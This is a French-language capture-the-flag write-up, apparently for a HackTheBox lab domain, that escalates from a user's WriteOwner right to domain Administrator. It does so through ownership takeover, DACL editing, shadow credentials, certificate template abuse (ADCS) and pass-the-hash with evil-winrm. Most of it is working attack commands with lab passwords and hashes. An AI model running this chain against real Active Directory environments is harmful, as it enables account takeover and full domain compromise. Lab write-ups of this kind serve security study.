# WriteOwner (whoami /priv) - Windows Privilege Escalation
**Observation :**\
L'utilisateur **Ryan** possède l'autorisation `WriteOwner` sur le compte **CA\_SVC**, qui est également l'émetteur du certificat. Cela signifie que nous pouvons modifier le propriétaire du compte **CA\_SVC** pour y associer **Ryan**.
### Prise de contrôle de CA\_SVC avec BloodyAD
#### Changement du propriétaire du compte
{% code overflow="wrap" %}
```bash
bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'
```
{% endcode %}
La commande utilise BloodyAD pour modifier le propriétaire de **CA\_SVC** et le définir sur **Ryan**. En tant que propriétaire, **Ryan** peut maintenant modifier les autorisations associées au compte.
### Modification des permissions avec Dacledit
#### Accorder des permissions complètes à Ryan
{% code overflow="wrap" %}
```bash
dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3
```
{% endcode %}
Cette commande modifie la **DACL** (Discretionary Access Control List) du compte **CA\_SVC** pour accorder un contrôle total à **Ryan**. Cela permet à Ryan de réinitialiser le mot de passe ou de manipuler les clés d'authentification.
### Extraction des informations d'identification fantômes (Shadow Credentials)
#### Générer et récupérer l'empreinte NT hash
{% code overflow="wrap" %}
```bash
certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51
```
{% endcode %}
NT hash pour **CA\_SVC** : `3b181b914e7a9d5508ea1e20bc2b7fce`
La commande **Certipy** génère une clé d'identification pour **CA\_SVC**, activant l'authentification basée sur un certificat. Un fichier `.ccache` est également généré, ce qui facilite des attaques basées sur Kerberos.
### Modification du modèle de certificat
#### Ajuster le modèle DunderMifflinAuthentication
{% code overflow="wrap" %}
```bash
KRB5CCNAME=$PWD/ca_svc.ccache certipy template -k -template DunderMifflinAuthentication -target dc01.sequel.htb -dc-ip 10.10.11.51
```
{% endcode %}
Cette commande modifie le modèle de certificat **DunderMifflinAuthentication** pour qu’il permette l’émission de certificats avec des privilèges élevés.
### Émission d’un certificat pour l’administrateur
#### Demande d’un certificat pour impersonation
{% code overflow="wrap" %}
```bash
certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51
```
{% endcode %}
Cette commande demande un certificat au nom de l’Administrateur (`Administrator@sequel.htb`), permettant d’usurper l’identité de ce compte.
### Authentification en tant qu’Administrateur
#### Utilisation du certificat pour s’authentifier
```bash
certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51
```
**NTLMv2 Hash :** `7a8d4e04986afa8ed4060f75e5a0b3ff`
```bash
evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff"
```
